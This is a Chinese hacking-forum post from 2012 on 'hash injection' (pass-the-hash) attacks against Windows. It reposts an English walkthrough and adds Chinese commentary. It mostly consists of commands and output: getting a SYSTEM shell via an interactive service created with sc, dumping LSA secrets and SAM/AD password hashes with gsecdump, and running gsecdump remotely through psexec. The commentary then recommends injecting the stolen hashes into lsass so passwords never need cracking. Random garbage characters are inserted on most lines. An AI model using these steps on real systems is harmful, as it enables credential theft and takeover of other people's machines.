找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

HASH注入式攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:09:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
o get a DOS Prompt as NT system:! p! Y# M1 w# _8 ~) a

3 ~' @2 R& ]! TC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
7 `; Y2 g9 U# O" H[SC] CreateService SUCCESS
* v+ B; a% h$ i: }
, D, `, u* R$ n* d5 TC:\>sc start shellcmdline
+ Y, w% |" r5 W4 h' b1 C[SC] StartService FAILED 1053:
& J( R6 N0 u( ^) B& o( z( j/ c3 `; ~
The service did not respond to the start or control request in a timely fashion.
: |8 T% P6 n* i$ A% D- {
  h& t, Z/ B$ F; ^3 hC:\>sc delete shellcmdline
$ o9 S2 @# \: p7 P[SC] DeleteService SUCCESS
: G! x+ b0 O7 G7 u7 G& T
! m: F" y, e' ^' ?; D3 u6 k------------/ t4 X9 E$ h; e( e

0 ?. q3 S8 R# f8 tThen in the new DOS window:
% K1 I; M9 W. `- i' `
3 A4 u" i2 l4 O. X  h7 @) H! F: Z: ^Microsoft Windows XP [Version 5.1.2600]
0 f1 h( Q: m* G" g6 {+ e* ]# ](C) Copyright 1985-2001 Microsoft Corp.7 E  P) L# y! R0 T# B

! r1 N# X( |* oC:\WINDOWS\system32>whoami
% q" [2 j: f9 e- v8 U/ q. ~2 }" uNT AUTHORITY\SYSTEM
( l# ^- L2 \  F
2 D. h/ n( r" {/ u. JC:\WINDOWS\system32>gsecdump -h. ^6 H: G+ k7 B- x$ ]' l
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)+ ~- B( C' J! G& X; t; D
usage: gsecdump [options]: V$ D' j# H) P/ U

8 e0 B# x, ?& f0 J5 J! N2 T: Toptions:
! w' @2 G3 y$ `8 N0 J- E, [2 L9 R-h [ --help ] show help5 }# _8 I/ [/ t
-a [ --dump_all ] dump all secrets4 @# A+ o7 s( T: ?
-l [ --dump_lsa ] dump lsa secrets" f2 e  ?0 l" d! j' ]- W) {7 h5 v& ]
-w [ --dump_wireless ] dump microsoft wireless connections
2 s5 I7 \0 \' R& i5 V6 j-u [ --dump_usedhashes ] dump hashes from active logon sessions, n( A+ T! n; a3 g
-s [ --dump_hashes ] dump hashes from SAM/AD( e3 k- D* v/ a& }8 e

3 t. l0 z' Q4 v4 Y- q- oAlthough I like to use:
" q% {' A  t& ^9 B. e7 L- R, e4 Y- P0 ]2 W, n# v3 J8 f
PsExec v1.83 - Execute processes remotely* ]" O' y' ?  k, R1 t
Copyright (C) 2001-2007 Mark Russinovich8 y' ~8 R2 B. Q2 U
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
2 G  k' ]5 \# Y# A
6 p% N; V' ~7 v3 ^C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
- K3 b' t) b# }3 f8 P& {- p* |8 a$ v8 S3 d
to get the hashes from active logon sessions of a remote system.
' q: T; U. @: e6 s
* z- w3 ^, A. x& L, iThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
( P! g6 I) }  m8 k( T3 {+ m9 U4 f) _$ W* |
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
% R' p7 S# W0 _  Z" E( T原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
1 |* o% B" I7 W+ S$ a1 ^: o- t' z3 B4 @& N& l
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
# R; W/ d' `: \& J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表